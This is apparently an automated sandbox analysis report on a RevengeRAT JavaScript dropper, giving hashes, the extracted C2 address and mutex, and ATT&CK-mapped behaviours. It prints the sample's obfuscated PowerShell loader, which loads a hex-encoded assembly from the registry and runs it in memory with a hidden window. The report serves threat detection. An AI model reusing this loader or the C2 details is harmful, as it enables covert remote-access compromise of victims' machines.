revengerat | 07c41d727f11d4594a6591b644eff38c253e44d4cb908cecfdc66b36dae238e2

Analysis

max time kernel
146s
max time network
147s
platform
windows7_x64
resource
win7-20240903-en
resource tags

arch:x64arch:x86image:win7-20240903-enlocale:en-usos:windows7-x64system
submitted
21-01-2025 02:09

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General

Target

07c41d727f11d4594a6591b644eff38c253e44d4cb908cecfdc66b36dae238e2.js
Size

256KB
MD5

d9502fb08720229c43e883d68c39258c
SHA1

fd889a14456fd1f3a862e6b1d647049c0b63674c
SHA256

07c41d727f11d4594a6591b644eff38c253e44d4cb908cecfdc66b36dae238e2
SHA512

bbdc0c079953acc89e25a654445e36a3b4414b527d67137be752b5101562b12c01643a0468edd02ef30baebe9e3098419073f1ff0c7db512b1b57299e72ab7a2
SSDEEP

6144:o0hOy97siZVxLcCIaqIgj2U1Ska535/KBsSTJ/cK144AGxayi7jcvB3zJFCIc:o0hO27siLxLWrpVM

Score

10^/10

revengerat nyancatrevenge execution trojan

Malware Config

Extracted

Family

revengerat

Botnet

NyanCatRevenge

13.49.66.229:333

Mutex

8a25aa6e78e44708a

Signatures

RevengeRAT
Remote-access trojan with a wide range of capabilities.
trojan revengerat
Revengerat family
revengerat

Blocklisted process makes network request 33 IoCs

flow	pid	Process
2	2536	powershell.exe
3	2536	powershell.exe
4	2536	powershell.exe
5	2536	powershell.exe
6	2536	powershell.exe
7	2536	powershell.exe
8	2536	powershell.exe
9	2536	powershell.exe
10	2536	powershell.exe
11	2536	powershell.exe
12	2536	powershell.exe
13	2536	powershell.exe
14	2536	powershell.exe
15	2536	powershell.exe
16	2536	powershell.exe
17	2536	powershell.exe
18	2536	powershell.exe
19	2536	powershell.exe
20	2536	powershell.exe
21	2536	powershell.exe
22	2536	powershell.exe
23	2536	powershell.exe
24	2536	powershell.exe
25	2536	powershell.exe
26	2536	powershell.exe
27	2536	powershell.exe
28	2536	powershell.exe
29	2536	powershell.exe
30	2536	powershell.exe
31	2536	powershell.exe
32	2536	powershell.exe
33	2536	powershell.exe
34	2536	powershell.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

Run Powershell and hide display window.

execution

PowerShell

T1059.001

pid	Process
2536	powershell.exe

Command and Scripting Interpreter: JavaScript 1 TTPs
execution

JavaScript
T1059.007
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Suspicious behavior: EnumeratesProcesses 1 IoCs

pid	Process
2536	powershell.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	2536	powershell.exe

Suspicious use of WriteProcessMemory 3 IoCs

description	pid	Process	procid_target
PID 2100 wrote to memory of 2536	2100	wscript.exe	30
PID 2100 wrote to memory of 2536	2100	wscript.exe	30
PID 2100 wrote to memory of 2536	2100	wscript.exe	30

C:\Windows\system32\wscript.exe
wscript.exe C:\Users\Admin\AppData\Local\Temp\07c41d727f11d4594a6591b644eff38c253e44d4cb908cecfdc66b36dae238e2.js
1⤵
- Suspicious use of WriteProcessMemory
PID:2100
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noexit -ExecutionPolicy Bypass -windowstyle hidden -Command "function H2B([string]$s){$H=@();for ($i=0;$i -lt $s.Length;$i+=2){$H+=[Byte]::Parse($s.Substring($i,2),[System.Globalization.NumberStyles]::HexNumber);};return $H;};$_b=(get-itemproperty -path 'HKCU:\' -name 'KeyName').KeyName;$_b=$_b.replace('~','40');[byte[]]$_0 = H2B($_b);$_1 = [System.Threading.Thread]::GetDomain().Load($_0);$_1.EntryPoint.invoke($null,$null);"
  2⤵
  - Blocklisted process makes network request
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:2536

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

JavaScript

T1059.007

PowerShell

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

memory/2536-10-0x000007FEF5FD0000-0x000007FEF696D000-memory.dmp

Filesize
9.6MB

Download
memory/2536-11-0x000007FEF5FD0000-0x000007FEF696D000-memory.dmp

Filesize
9.6MB

Download
memory/2536-9-0x000007FEF5FD0000-0x000007FEF696D000-memory.dmp

Filesize
9.6MB

Download
memory/2536-8-0x000007FEF5FD0000-0x000007FEF696D000-memory.dmp

Filesize
9.6MB

Download
memory/2536-7-0x000007FEF5FD0000-0x000007FEF696D000-memory.dmp

Filesize
9.6MB

Download
memory/2536-6-0x0000000002690000-0x0000000002698000-memory.dmp

Filesize
32KB

Download
memory/2536-5-0x000000001B650000-0x000000001B932000-memory.dmp

Filesize
2.9MB

Download
memory/2536-4-0x000007FEF628E000-0x000007FEF628F000-memory.dmp

Filesize
4KB

Download
memory/2536-12-0x00000000029F0000-0x00000000029FA000-memory.dmp

Filesize
40KB

Download
memory/2536-13-0x000007FEF628E000-0x000007FEF628F000-memory.dmp

Filesize
4KB

Download
memory/2536-14-0x000007FEF5FD0000-0x000007FEF696D000-memory.dmp

Filesize
9.6MB

Download
memory/2536-15-0x000007FEF5FD0000-0x000007FEF696D000-memory.dmp

Filesize
9.6MB

Download